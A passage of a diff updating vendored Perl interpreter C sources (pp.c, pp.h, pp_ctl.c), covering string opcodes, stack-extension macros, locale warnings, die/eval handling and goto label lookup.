-    *PL_stack_sp = boolSV(!SvTRUE_nomg(*PL_stack_sp));
+    sv = *PL_stack_sp;
+    *PL_stack_sp = boolSV(!SvTRUE_nomg_NN(sv));
     return NORMAL;
 }
 
@@ -2603,64 +2527,17 @@
 
 	sv_copypv_nomg(TARG, sv);
 	tmps = (U8*)SvPV_nomg(TARG, len);
-	anum = len;
+
 	if (SvUTF8(TARG)) {
-	  /* Calculate exact length, let's not estimate. */
-	  STRLEN targlen = 0;
-	  STRLEN l;
-	  UV nchar = 0;
-	  UV nwide = 0;
-	  U8 * const send = tmps + len;
-	  U8 * const origtmps = tmps;
-	  const UV utf8flags = UTF8_ALLOW_ANYUV;
+            if (len && ! utf8_to_bytes(tmps, &len)) {
+                Perl_croak(aTHX_ FATAL_ABOVE_FF_MSG, PL_op_desc[PL_op->op_type]);
+            }
+            SvCUR(TARG) = len;
+            SvUTF8_off(TARG);
+        }
 
-	  while (tmps < send) {
-	    const UV c = utf8n_to_uvchr(tmps, send-tmps, &l, utf8flags);
-	    tmps += l;
-	    targlen += UVCHR_SKIP(~c);
-	    nchar++;
-	    if (c > 0xff)
-		nwide++;
-	  }
+	anum = len;
 
-	  /* Now rewind strings and write them. */
-	  tmps = origtmps;
-
-	  if (nwide) {
-	      U8 *result;
-	      U8 *p;
-
-              Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
-                        deprecated_above_ff_msg, PL_op_desc[PL_op->op_type]);
-	      Newx(result, targlen + 1, U8);
-	      p = result;
-	      while (tmps < send) {
-		  const UV c = utf8n_to_uvchr(tmps, send-tmps, &l, utf8flags);
-		  tmps += l;
-		  p = uvchr_to_utf8_flags(p, ~c, UNICODE_ALLOW_ANY);
-	      }
-	      *p = '\0';
-	      sv_usepvn_flags(TARG, (char*)result, targlen,
-			      SV_HAS_TRAILING_NUL);
-	      SvUTF8_on(TARG);
-	  }
-	  else {
-	      U8 *result;
-	      U8 *p;
-
-	      Newx(result, nchar + 1, U8);
-	      p = result;
-	      while (tmps < send) {
-		  const U8 c = (U8)utf8n_to_uvchr(tmps, send-tmps, &l, utf8flags);
-		  tmps += l;
-		  *p++ = ~c;
-	      }
-	      *p = '\0';
-	      sv_usepvn_flags(TARG, (char*)result, nchar, SV_HAS_TRAILING_NUL);
-	      SvUTF8_off(TARG);
-	  }
-	  return;
-	}
 #ifdef LIBERAL
 	{
 	    long *tmpl;
@@ -3216,6 +3093,7 @@
 
 /* String stuff. */
 
+
 PP(pp_length)
 {
     dSP; dTARGET;
@@ -3222,46 +3100,67 @@
     SV * const sv = TOPs;
 
     U32 in_bytes = IN_BYTES;
-    /* simplest case shortcut */
-    /* turn off SVf_UTF8 in tmp flags if HINT_BYTES on*/
+    /* Simplest case shortcut:
+     * set svflags to just the SVf_POK|SVs_GMG|SVf_UTF8 from the SV,
+     * with the SVf_UTF8 flag inverted if under 'use bytes' (HINT_BYTES
+     * set)
+     */
     U32 svflags = (SvFLAGS(sv) ^ (in_bytes << 26)) & (SVf_POK|SVs_GMG|SVf_UTF8);
-    STATIC_ASSERT_STMT(HINT_BYTES == 0x00000008 && SVf_UTF8 == 0x20000000 && (SVf_UTF8 == HINT_BYTES << 26));
+
+    STATIC_ASSERT_STMT(SVf_UTF8 == (HINT_BYTES << 26));
     SETs(TARG);
 
-    if(LIKELY(svflags == SVf_POK))
+    if (LIKELY(svflags == SVf_POK))
         goto simple_pv;
-    if(svflags & SVs_GMG)
+
+    if (svflags & SVs_GMG)
         mg_get(sv);
+
     if (SvOK(sv)) {
-	if (!IN_BYTES) /* reread to avoid using an C auto/register */
-	    sv_setiv(TARG, (IV)sv_len_utf8_nomg(sv));
-	else
-	{
-	    STRLEN len;
+        STRLEN len;
+	if (!IN_BYTES) { /* reread to avoid using an C auto/register */
+            if ((SvFLAGS(sv) & (SVf_POK|SVf_UTF8)) == SVf_POK)
+                goto simple_pv;
+            if ( SvPOK(sv) && (PL_op->op_private & OPpTRUEBOOL)) {
+                /* no need to convert from bytes to chars */
+                len = SvCUR(sv);
+                goto return_bool;
+            }
+	    len = sv_len_utf8_nomg(sv);
+        }
+	else {
             /* unrolled SvPV_nomg_const(sv,len) */
-            if(SvPOK_nog(sv)){
-                simple_pv:
+            if (SvPOK_nog(sv)) {
+              simple_pv:
                 len = SvCUR(sv);
-            } else  {
+                if (PL_op->op_private & OPpTRUEBOOL) {
+                  return_bool:
+                    SETs(len ? &PL_sv_yes : &PL_sv_zero);
+                    return NORMAL;
+                }
+            }
+            else {
                 (void)sv_2pv_flags(sv, &len, 0|SV_CONST_RETURN);
             }
-	    sv_setiv(TARG, (IV)(len));
 	}
-    } else {
+        TARGi((IV)(len), 1);
+    }
+    else {
 	if (!SvPADTMP(TARG)) {
+            /* OPpTARGET_MY: targ is var in '$lex = length()' */
             sv_set_undef(TARG);
-	} else { /* TARG is on stack at this point and is overwriten by SETs.
-                   This branch is the odd one out, so put TARG by default on
-                   stack earlier to let local SP go out of liveness sooner */
+            SvSETMAGIC(TARG);
+	}
+        else
+            /* TARG is on stack at this point and is overwriten by SETs.
+             * This branch is the odd one out, so put TARG by default on
+             * stack earlier to let local SP go out of liveness sooner */
             SETs(&PL_sv_undef);
-            goto no_set_magic;
-        }
     }
-    SvSETMAGIC(TARG);
-    no_set_magic:
     return NORMAL; /* no putback, SP didn't move in this opcode */
 }
 
+
 /* Returns false if substring is completely outside original string.
    No length is indicated by len_iv = 0 and len_is_uv = 0.  len_is_uv must
    always be true for an explicit 0.
@@ -3377,11 +3276,11 @@
 	LvTARGOFF(ret) =
 	    pos1_is_uv || pos1_iv >= 0
 		? (STRLEN)(UV)pos1_iv
-		: (LvFLAGS(ret) |= 1, (STRLEN)(UV)-pos1_iv);
+		: (LvFLAGS(ret) |= LVf_NEG_OFF, (STRLEN)(UV)-pos1_iv);
 	LvTARGLEN(ret) =
 	    len_is_uv || len_iv > 0
 		? (STRLEN)(UV)len_iv
-		: (LvFLAGS(ret) |= 2, (STRLEN)(UV)-len_iv);
+		: (LvFLAGS(ret) |= LVf_NEG_LEN, (STRLEN)(UV)-len_iv);
 
 	PUSHs(ret);    /* avoid SvSETMAGIC here */
 	RETURN;
@@ -3488,12 +3387,12 @@
 
         /* avoid a large UV being wrapped to a negative value */
         if (SvIOK_UV(offsetsv) && SvUVX(offsetsv) > (UV)IV_MAX)
-            errflags = 4; /* out of range */
+            errflags = LVf_OUT_OF_RANGE;
         else if (iv < 0)
-            errflags = (1|4); /* negative offset, out of range */
+            errflags = (LVf_NEG_OFF|LVf_OUT_OF_RANGE);
 #if PTRSIZE < IVSIZE
         else if (iv > Size_t_MAX)
-            errflags = 4; /* out of range */
+            errflags = LVf_OUT_OF_RANGE;
 #endif
         else
             offset = (STRLEN)iv;
@@ -3564,7 +3463,7 @@
 		   convert the small string to ISO-8859-1, then there is no
 		   way that it could be found anywhere by index.  */
 		retval = -1;
-		goto fail;
+		goto push_result;
 	    }
 
 	    /* At this point, pv is a malloc()ed string. So donate it to temp
@@ -3627,8 +3526,18 @@
 	    retval = sv_pos_b2u_flags(big, retval, SV_CONST_RETURN);
     }
     SvREFCNT_dec(temp);
- fail:
-    PUSHi(retval);
+
+  push_result:
+    /* OPpTRUEBOOL indicates an '== -1' has been optimised away */
+    if (PL_op->op_private & OPpTRUEBOOL) {
+        PUSHs( ((retval != -1) ^ cBOOL(PL_op->op_private & OPpINDEX_BOOLNEG))
+                    ? &PL_sv_yes : &PL_sv_no);
+        if (PL_op->op_private & OPpTARGET_MY)
+            /* $lex = (index() == -1) */
+            sv_setsv(TARG, TOPs);
+    }
+    else 
+        PUSHi(retval);
     RETURN;
 }
 
@@ -3744,8 +3653,12 @@
 #if defined(__GLIBC__) || defined(__EMX__)
 	if (PL_reentrant_buffer->_crypt_struct_buffer) {
 	    PL_reentrant_buffer->_crypt_struct_buffer->initialized = 0;
-	    /* work around glibc-2.2.5 bug */
+#if (defined(__GLIBC__) && __GLIBC__ == 2) && \
+    (defined(__GLIBC_MINOR__) && __GLIBC_MINOR__ >= 2 && __GLIBC_MINOR__ < 4)
+	    /* work around glibc-2.2.5 bug, has been fixed at some
+	     * time in glibc-2.3.X */
 	    PL_reentrant_buffer->_crypt_struct_buffer->current_saltbits = 0;
+#endif
 	}
 #endif
     }
@@ -3803,6 +3716,14 @@
      * not convert in-place. */
     inplace = !SvREADONLY(source) && SvPADTMP(source);
 
+#ifdef USE_LOCALE_CTYPE
+
+    if (IN_LC_RUNTIME(LC_CTYPE)) {
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
+    }
+
+#endif
+
     /* First calculate what the changed first character should be.  This affects
      * whether we can just swap it out, leaving the rest of the string unchanged,
      * or even if have to convert the dest to UTF-8 when the source isn't */
@@ -3810,6 +3731,7 @@
     if (! slen) {   /* If empty */
 	need = 1; /* still need a trailing NUL */
 	ulen = 0;
+        *tmpbuf = '\0';
     }
     else if (DO_UTF8(source)) {	/* Is the source utf8? */
 	doing_utf8 = TRUE;
@@ -3846,7 +3768,6 @@
 	    /* lower case the first letter: no trickiness for any character */
 #ifdef USE_LOCALE_CTYPE
             if (IN_LC_RUNTIME(LC_CTYPE)) {
-                _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
                 *tmpbuf = toLOWER_LC(*s);
             }
             else
@@ -3864,7 +3785,6 @@
                 goto do_uni_rules;
             }
 
-            _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
             *tmpbuf = (U8) toUPPER_LC(*s); /* This would be a bug if any
                                               locales have upper and title case
                                               different */
@@ -4080,6 +4000,14 @@
 	SETs(dest);
     }
 
+#ifdef USE_LOCALE_CTYPE
+
+    if (IN_LC_RUNTIME(LC_CTYPE)) {
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
+    }
+
+#endif
+
     /* Overloaded values may have toggled the UTF-8 flag on source, so we need
        to check DO_UTF8 again here.  */
 
@@ -4166,7 +4094,6 @@
                 if (IN_UTF8_CTYPE_LOCALE) {
                     goto do_uni_rules;
                 }
-                _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
 		for (; s < send; d++, s++)
                     *d = (U8) toUPPER_LC(*s);
 	    }
@@ -4320,6 +4247,14 @@
 	SETs(dest);
     }
 
+#ifdef USE_LOCALE_CTYPE
+
+    if (IN_LC_RUNTIME(LC_CTYPE)) {
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
+    }
+
+#endif
+
     /* Overloaded values may have toggled the UTF-8 flag on source, so we need
        to check DO_UTF8 again here.  */
 
@@ -4373,7 +4308,6 @@
 	     * whole thing in a tight loop, for speed, */
 #ifdef USE_LOCALE_CTYPE
             if (IN_LC_RUNTIME(LC_CTYPE)) {
-                _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
 		for (; s < send; d++, s++)
 		    *d = toLOWER_LC(*s);
             }
@@ -4537,6 +4471,15 @@
     SETs(dest);
 
     send = s + len;
+
+#ifdef USE_LOCALE_CTYPE
+
+    if ( IN_LC_RUNTIME(LC_CTYPE) ) { /* Under locale */
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
+    }
+
+#endif
+
     if (DO_UTF8(source)) { /* UTF-8 flagged string. */
         while (s < send) {
             const STRLEN u = UTF8SKIP(s);
@@ -4561,7 +4504,6 @@
             if (IN_UTF8_CTYPE_LOCALE) {
                 goto do_uni_folding;
             }
-            _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
             for (; s < send; d++, s++)
                 *d = (U8) toFOLD_LC(*s);
         }
@@ -4985,20 +4927,33 @@
     gimme = GIMME_V;
     discard = (gimme == G_VOID) ? G_DISCARD : 0;
 
-    if (PL_op->op_private & OPpSLICE) {
+    if (PL_op->op_private & (OPpSLICE|OPpKVSLICE)) {
 	dMARK; dORIGMARK;
 	HV * const hv = MUTABLE_HV(POPs);
 	const U32 hvtype = SvTYPE(hv);
+        int skip = 0;
+        if (PL_op->op_private & OPpKVSLICE) {
+            SSize_t items = SP - MARK;
+
+            MEXTEND(SP,items);
+            while (items > 1) {
+                *(MARK+items*2-1) = *(MARK+items);
+                items--;
+            }
+            items = SP - MARK;
+            SP += items;
+            skip = 1;
+        }
 	if (hvtype == SVt_PVHV) {			/* hash element */
-	    while (++MARK <= SP) {
-		SV * const sv = hv_delete_ent(hv, *MARK, discard, 0);
+            while ((MARK += (1+skip)) <= SP) {
+                SV * const sv = hv_delete_ent(hv, *(MARK-skip), discard, 0);
 		*MARK = sv ? sv : &PL_sv_undef;
 	    }
 	}
 	else if (hvtype == SVt_PVAV) {                  /* array element */
             if (PL_op->op_flags & OPf_SPECIAL) {
-                while (++MARK <= SP) {
-                    SV * const sv = av_delete(MUTABLE_AV(hv), SvIV(*MARK), discard);
+                while ((MARK += (1+skip)) <= SP) {
+                    SV * const sv = av_delete(MUTABLE_AV(hv), SvIV(*(MARK-skip)), discard);
                     *MARK = sv ? sv : &PL_sv_undef;
                 }
             }
@@ -5110,7 +5065,7 @@
                 DIE(aTHX_ PL_no_helem_sv, SVfARG(keysv));
             }
             if (localizing) {
-		if (HvNAME_get(hv) && isGV(*svp))
+		if (HvNAME_get(hv) && isGV_or_RVCV(*svp))
 		    save_gp(MUTABLE_GV(*svp), !(PL_op->op_flags & OPf_SPECIAL));
 		else if (preeminent)
 		    save_helem_flags(hv, keysv, svp,
@@ -5185,8 +5140,11 @@
 {
     I32 markidx = POPMARK;
     if (GIMME_V != G_ARRAY) {
-	SV **mark = PL_stack_base + markidx;
+        /* don't initialize mark here, EXTEND() may move the stack */
+        SV **mark;
 	dSP;
+        EXTEND(SP, 1);          /* in case no arguments, as in @empty */
+        mark = PL_stack_base + markidx;
 	if (++MARK <= SP)
 	    *MARK = *SP;		/* unwanted list, return last item */
 	else
@@ -5211,6 +5169,7 @@
 
     if (GIMME_V != G_ARRAY) {
         if (lastlelem < firstlelem) {
+            EXTEND(SP, 1);
             *firstlelem = &PL_sv_undef;
         }
         else {
@@ -5312,6 +5271,9 @@
 				    sp - mark);
     }
 
+    if (SvREADONLY(ary))
+        Perl_croak_no_modify();
+
     SP++;
 
     if (++MARK < SP) {
@@ -5682,10 +5644,16 @@
 	STRLEN len;
 
 	SvUTF8_off(TARG);				/* decontaminate */
-	if (SP - MARK > 1)
+	if (SP - MARK > 1) {
 	    do_join(TARG, &PL_sv_no, MARK, SP);
-	else {
-	    sv_setsv(TARG, SP > MARK ? *SP : DEFSV);
+	    SP = MARK + 1;
+	    SETs(TARG);
+	} else if (SP > MARK) {
+	    sv_setsv(TARG, *SP);
+	    SETs(TARG);
+        } else {
+	    sv_setsv(TARG, DEFSV);
+	    XPUSHs(TARG);
 	}
 
 	up = SvPV_force(TARG, len);
@@ -5723,8 +5691,6 @@
 	    }
 	    (void)SvPOK_only_UTF8(TARG);
 	}
-	SP = MARK + 1;
-	SETTARG;
     }
     RETURN;
 }
@@ -5740,6 +5706,7 @@
     STRLEN len;
     const char *s = SvPV_const(sv, len);
     const bool do_utf8 = DO_UTF8(sv);
+    const bool in_uni_8_bit = IN_UNI_8_BIT;
     const char *strend = s + len;
     PMOP *pm = cPMOPx(PL_op);
     REGEXP *rx;
@@ -5826,6 +5793,10 @@
 	    while (s < strend && isSPACE_LC(*s))
 		s++;
 	}
+        else if (in_uni_8_bit) {
+            while (s < strend && isSPACE_L1(*s))
+                s++;
+        }
 	else {
 	    while (s < strend && isSPACE(*s))
 		s++;
@@ -5857,6 +5828,10 @@
             {
 	        while (m < strend && !isSPACE_LC(*m))
 		    ++m;
+            }
+            else if (in_uni_8_bit) {
+                while (m < strend && !isSPACE_L1(*m))
+                    ++m;
             } else {
                 while (m < strend && !isSPACE(*m))
                     ++m;
@@ -5891,6 +5866,10 @@
             {
 	        while (s < strend && isSPACE_LC(*s))
 		    ++s;
+            }
+            else if (in_uni_8_bit) {
+                while (s < strend && isSPACE_L1(*s))
+                    ++s;
             } else {
                 while (s < strend && isSPACE(*s))
                     ++s;
@@ -6395,6 +6374,19 @@
     RETURN;
 }
 
+/* Implement CORE::keys(),values(),each().
+ *
+ * We won't know until run-time whether the arg is an array or hash,
+ * so this op calls
+ *
+ *    pp_keys/pp_values/pp_each
+ * or
+ *    pp_akeys/pp_avalues/pp_aeach
+ *
+ * as appropriate (or whatever pp function actually implements the OP_FOO
+ * functionality for each FOO).
+ */
+
 PP(pp_avhvswitch)
 {
     dVAR; dSP;

Modified: vendor/perl/dist/pp.h
===================================================================
--- vendor/perl/dist/pp.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -295,6 +295,20 @@
 =cut
 */
 
+/* EXTEND_HWM_SET: note the high-water-mark to which the stack has been
+ * requested to be extended (which is likely to be less than PL_stack_max)
+ */
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+#  define EXTEND_HWM_SET(p, n)                      \
+        STMT_START {                                \
+            SSize_t ix = (p) - PL_stack_base + (n); \
+            if (ix > PL_curstackinfo->si_stack_hwm) \
+                PL_curstackinfo->si_stack_hwm = ix; \
+        } STMT_END
+#else
+#  define EXTEND_HWM_SET(p, n) NOOP
+#endif
+
 /* _EXTEND_SAFE_N(n): private helper macro for EXTEND().
  * Tests whether the value of n would be truncated when implicitly cast to
  * SSize_t as an arg to stack_grow(). If so, sets it to -1 instead to
@@ -306,6 +320,8 @@
         (sizeof(n) > sizeof(SSize_t) && ((SSize_t)(n) != (n)) ? -1 : (n))
 
 #ifdef STRESS_REALLOC
+# define EXTEND_SKIP(p, n) EXTEND_HWM_SET(p, n)
+
 # define EXTEND(p,n)   STMT_START {                                     \
                            sp = stack_grow(sp,p,_EXTEND_SAFE_N(n));     \
                            PERL_UNUSED_VAR(sp);                         \
@@ -335,9 +351,25 @@
  * this just gives a safe false positive
  */
 
-#  define _EXTEND_NEEDS_GROW(p,n) ( (n) < 0 || PL_stack_max - p < (n))
+#  define _EXTEND_NEEDS_GROW(p,n) ((n) < 0 || PL_stack_max - (p) < (n))
 
+
+/* EXTEND_SKIP(): used for where you would normally call EXTEND(), but
+ * you know for sure that a previous op will have already extended the
+ * stack sufficiently.  For example pp_enteriter ensures that that there
+ * is always at least 1 free slot, so pp_iter can return &PL_sv_yes/no
+ * without checking each time. Calling EXTEND_SKIP() defeats the HWM
+ * debugging mechanism which would otherwise whine
+ */
+
+#  define EXTEND_SKIP(p, n) STMT_START {                                \
+                                EXTEND_HWM_SET(p, n);                   \
+                                assert(!_EXTEND_NEEDS_GROW(p,n));       \
+                          } STMT_END
+
+
 #  define EXTEND(p,n)   STMT_START {                                    \
+                         EXTEND_HWM_SET(p, n);                          \
                          if (UNLIKELY(_EXTEND_NEEDS_GROW(p,n))) {       \
                            sp = stack_grow(sp,p,_EXTEND_SAFE_N(n));     \
                            PERL_UNUSED_VAR(sp);                         \
@@ -344,6 +376,7 @@
                          } } STMT_END
 /* Same thing, but update mark register too. */
 #  define MEXTEND(p,n)  STMT_START {                                    \
+                         EXTEND_HWM_SET(p, n);                          \
                          if (UNLIKELY(_EXTEND_NEEDS_GROW(p,n))) {       \
                            const SSize_t markoff = mark - PL_stack_base;\
                            sp = stack_grow(sp,p,_EXTEND_SAFE_N(n));     \
@@ -352,6 +385,7 @@
                          } } STMT_END
 #endif
 
+
 /* set TARG to the IV value i. If do_taint is false,
  * assume that PL_tainted can never be true */
 #define TARGi(i, do_taint) \
@@ -443,9 +477,9 @@
 #define mXPUSHs(s)	XPUSHs(sv_2mortal(s))
 #define XPUSHmortal	XPUSHs(sv_newmortal())
 #define mXPUSHp(p,l)	STMT_START { EXTEND(sp,1); mPUSHp((p), (l)); } STMT_END
-#define mXPUSHn(n)	STMT_START { EXTEND(sp,1); sv_setnv(PUSHmortal, (NV)(n)); } STMT_END
-#define mXPUSHi(i)	STMT_START { EXTEND(sp,1); sv_setiv(PUSHmortal, (IV)(i)); } STMT_END
-#define mXPUSHu(u)	STMT_START { EXTEND(sp,1); sv_setuv(PUSHmortal, (UV)(u)); } STMT_END
+#define mXPUSHn(n)	STMT_START { EXTEND(sp,1); mPUSHn(n); } STMT_END
+#define mXPUSHi(i)	STMT_START { EXTEND(sp,1); mPUSHi(i); } STMT_END
+#define mXPUSHu(u)	STMT_START { EXTEND(sp,1); mPUSHu(u); } STMT_END
 
 #define SETs(s)		(*sp = s)
 #define SETTARG		STMT_START { SvSETMAGIC(TARG); SETs(TARG); } STMT_END

Modified: vendor/perl/dist/pp_ctl.c
===================================================================
--- vendor/perl/dist/pp_ctl.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_ctl.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,7 +34,8 @@
 #define PERL_IN_PP_CTL_C
 #include "perl.h"
 
-#define DOCATCH(o) ((CATCH_GET == TRUE) ? docatch(o) : (o))
+#define RUN_PP_CATCHABLY(thispp) \
+    STMT_START { if (CATCH_GET) return docatch(thispp); } STMT_END
 
 #define dopoptosub(plop)	dopoptosub_at(cxstack, (plop))
 
@@ -162,15 +163,9 @@
     /* handle the empty pattern */
     if (!RX_PRELEN(PM_GETRE(pm)) && PL_curpm) {
         if (PL_curpm == PL_reg_curpm) {
-            if (PL_curpm_under) {
-                if (PL_curpm_under == PL_reg_curpm) {
-                    Perl_croak(aTHX_ "Infinite recursion via empty pattern");
-                } else {
-                    pm = PL_curpm_under;
-                }
+            if (PL_curpm_under && PL_curpm_under == PL_reg_curpm) {
+                Perl_croak(aTHX_ "Infinite recursion via empty pattern");
             }
-        } else {
-            pm = PL_curpm;
         }
     }
 
@@ -218,9 +213,9 @@
 	SvGETMAGIC(TOPs); /* possibly clear taint on $1 etc: #67962 */
 
     	/* See "how taint works" above pp_subst() */
-	if (SvTAINTED(TOPs))
+	sv_catsv_nomg(dstr, POPs);
+	if (UNLIKELY(TAINT_get))
 	    cx->sb_rxtainted |= SUBST_TAINT_REPL;
-	sv_catsv_nomg(dstr, POPs);
 	if (CxONCE(cx) || s < orig ||
                 !CALLREGEXEC(rx, s, cx->sb_strend, orig,
 			     (s == m), cx->sb_targ, NULL,
@@ -720,6 +715,7 @@
 		SvSETMAGIC(sv);
 		break;
 	    }
+            /* FALLTHROUGH */
 
 	case FF_LINESNGL: /* process ^*  */
 	    chopspace = 0;
@@ -872,9 +868,9 @@
                 }
 #else
                 /* we generate fmt ourselves so it is safe */
-                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
                 len = my_snprintf(t, max, fmt, (int) fieldsize, (int) arg, value);
-                GCC_DIAG_RESTORE;
+                GCC_DIAG_RESTORE_STMT;
 #endif
                 PERL_MY_SNPRINTF_POST_GUARD(len, max);
                 RESTORE_LC_NUMERIC();
@@ -920,7 +916,7 @@
 			    *t++ = ' ';
 		    }
 		    s1 = t - 3;
-		    if (strnEQ(s1,"   ",3)) {
+		    if (strBEGINs(s1,"   ")) {
 			while (s1 > SvPVX_const(PL_formtarget) && isSPACE(s1[-1]))
 			    s1--;
 		    }
@@ -957,7 +953,7 @@
     if (PL_stack_base + TOPMARK == SP) {
 	(void)POPMARK;
 	if (GIMME_V == G_SCALAR)
-	    mXPUSHi(0);
+	    XPUSHs(&PL_sv_zero);
 	RETURNOP(PL_op->op_next->op_next);
     }
     PL_stack_sp = PL_stack_base + TOPMARK + 1;
@@ -1127,9 +1123,11 @@
 
 PP(pp_range)
 {
+    dTARG;
     if (GIMME_V == G_ARRAY)
 	return NORMAL;
-    if (SvTRUEx(PAD_SV(PL_op->op_targ)))
+    GETTARGET;
+    if (SvTRUE_NN(targ))
 	return cLOGOP->op_other;
     else
 	return NORMAL;
@@ -1157,7 +1155,7 @@
 		    flip = SvIV(sv) == SvIV(GvSV(gv));
 	    }
 	} else {
-	    flip = SvTRUE(sv);
+	    flip = SvTRUE_NN(sv);
 	}
 	if (flip) {
 	    sv_setiv(PAD_SV(cUNOP->op_first->op_targ), 1);
@@ -1270,7 +1268,7 @@
 	    }
 	}
 	else {
-	    flop = SvTRUE(sv);
+	    flop = SvTRUE_NN(sv);
 	}
 
 	if (flop) {
@@ -1684,7 +1682,13 @@
     if (in_eval) {
 	I32 cxix;
 
-        exceptsv = sv_2mortal(SvREFCNT_inc_simple_NN(exceptsv));
+        /* We need to keep this SV alive through all the stack unwinding
+         * and FREETMPSing below, while ensuing that it doesn't leak
+         * if we call out to something which then dies (e.g. sub STORE{die}
+         * when unlocalising a tied var). So we do a dance with
+         * mortalising and SAVEFREEing.
+         */
+        sv_2mortal(SvREFCNT_inc_simple_NN(exceptsv));
 
 	/*
 	 * Historically, perl used to set ERRSV ($@) early in the die
@@ -1753,6 +1757,24 @@
 
 	    restartjmpenv = cx->blk_eval.cur_top_env;
 	    restartop     = cx->blk_eval.retop;
+
+            /* We need a FREETMPS here to avoid late-called destructors
+             * clobbering $@ *after* we set it below, e.g.
+             *    sub DESTROY { eval { die "X" } }
+             *    eval { my $x = bless []; die $x = 0, "Y" };
+             *    is($@, "Y")
+             * Here the clearing of the $x ref mortalises the anon array,
+             * which needs to be freed *before* $& is set to "Y",
+             * otherwise it gets overwritten with "X".
+             *
+             * However, the FREETMPS will clobber exceptsv, so preserve it
+             * on the savestack for now.
+             */
+            SAVEFREESV(SvREFCNT_inc_simple_NN(exceptsv));
+            FREETMPS;
+            /* now we're about to pop the savestack, so re-mortalise it */
+            sv_2mortal(SvREFCNT_inc_simple_NN(exceptsv));
+
             /* Note that unlike pp_entereval, pp_require isn't supposed to
              * trap errors. So if we're a require, after we pop the
              * CXt_EVAL that pp_require pushed, rethrow the error with
@@ -1778,7 +1800,7 @@
 PP(pp_xor)
 {
     dSP; dPOPTOPssrl;
-    if (SvTRUE(left) != SvTRUE(right))
+    if (SvTRUE_NN(left) != SvTRUE_NN(right))
 	RETSETYES;
     else
 	RETSETNO;
@@ -1920,7 +1942,7 @@
     }
     else {
 	PUSHs(newSVpvs_flags("(eval)", SVs_TEMP));
-	mPUSHi(0);
+	PUSHs(&PL_sv_zero);
     }
     gimme = cx->blk_gimme;
     if (gimme == G_VOID)
@@ -1970,7 +1992,8 @@
 
 	if (AvMAX(PL_dbargs) < AvFILLp(ary) + off)
 	    av_extend(PL_dbargs, AvFILLp(ary) + off);
-	Copy(AvALLOC(ary), AvARRAY(PL_dbargs), AvFILLp(ary) + 1 + off, SV*);
+        if (AvFILLp(ary) + 1 + off)
+            Copy(AvALLOC(ary), AvARRAY(PL_dbargs), AvFILLp(ary) + 1 + off, SV*);
 	AvFILLp(PL_dbargs) = AvFILLp(ary) + off;
     }
     mPUSHi(CopHINTS_get(cx->blk_oldcop));
@@ -1984,16 +2007,7 @@
             mask = &PL_sv_undef ;
         else if (old_warnings == pWARN_ALL ||
 		  (old_warnings == pWARN_STD && PL_dowarn & G_WARN_ON)) {
-	    /* Get the bit mask for $warnings::Bits{all}, because
-	     * it could have been extended by warnings::register */
-	    SV **bits_all;
-	    HV * const bits = get_hv("warnings::Bits", 0);
-	    if (bits && (bits_all=hv_fetchs(bits, "all", FALSE))) {
-		mask = newSVsv(*bits_all);
-	    }
-	    else {
-		mask = newSVpvn(WARN_ALLstring, WARNsize) ;
-	    }
+	    mask = newSVpvn(WARN_ALLstring, WARNsize) ;
 	}
         else
             mask = newSVpvn((char *) (old_warnings + 1), old_warnings[0]);
@@ -2011,8 +2025,10 @@
     dSP;
     const char * tmps;
     STRLEN len = 0;
-    if (MAXARG < 1 || (!TOPs && !POPs))
+    if (MAXARG < 1 || (!TOPs && !POPs)) {
+        EXTEND(SP, 1);
 	tmps = NULL, len = 0;
+    }
     else
 	tmps = SvPVx_const(POPs, len);
     sv_resetpvn(tmps, len, CopSTASH(PL_curcop));
@@ -2628,6 +2644,9 @@
     return redo_op;
 }
 
+#define UNENTERABLE (OP *)1
+#define GOTO_DEPTH 64
+
 STATIC OP *
 S_dofindlabel(pTHX_ OP *o, const char *label, STRLEN len, U32 flags, OP **opstack, OP **oplimit)
 {
@@ -2642,15 +2661,34 @@
 	o->op_type == OP_SCOPE ||
 	o->op_type == OP_LEAVELOOP ||
 	o->op_type == OP_LEAVESUB ||
-	o->op_type == OP_LEAVETRY)
+	o->op_type == OP_LEAVETRY ||
+	o->op_type == OP_LEAVEGIVEN)
     {
 	*ops++ = cUNOPo->op_first;
-	if (ops >= oplimit)
-	    Perl_croak(aTHX_ "%s", too_deep);
     }
+    else if (oplimit - opstack < GOTO_DEPTH) {
+      if (o->op_flags & OPf_KIDS
+	  && cUNOPo->op_first->op_type == OP_PUSHMARK) {
+	*ops++ = UNENTERABLE;
+      }
+      else if (o->op_flags & OPf_KIDS && PL_opargs[o->op_type]
+	  && OP_CLASS(o) != OA_LOGOP
+	  && o->op_type != OP_LINESEQ
+	  && o->op_type != OP_SREFGEN
+	  && o->op_type != OP_ENTEREVAL
+	  && o->op_type != OP_GLOB
+	  && o->op_type != OP_RV2CV) {
+	OP * const kid = cUNOPo->op_first;
+	if (OP_GIMME(kid, 0) != G_SCALAR || OpHAS_SIBLING(kid))
+	    *ops++ = UNENTERABLE;
+      }
+    }
+    if (ops >= oplimit)
+	Perl_croak(aTHX_ "%s", too_deep);
     *ops = 0;
     if (o->op_flags & OPf_KIDS) {
 	OP *kid;
+	OP * const kid1 = cUNOPo->op_first;
 	/* First try all the kids at this level, since that's likeliest. */
 	for (kid = cUNOPo->op_first; kid; kid = OpSIBLING(kid)) {
 	    if (kid->op_type == OP_NEXTSTATE || kid->op_type == OP_DBSTATE) {
@@ -2673,19 +2711,27 @@
 	    }
 	}
 	for (kid = cUNOPo->op_first; kid; kid = OpSIBLING(kid)) {
+	    bool first_kid_of_binary = FALSE;
 	    if (kid == PL_lastgotoprobe)
 		continue;
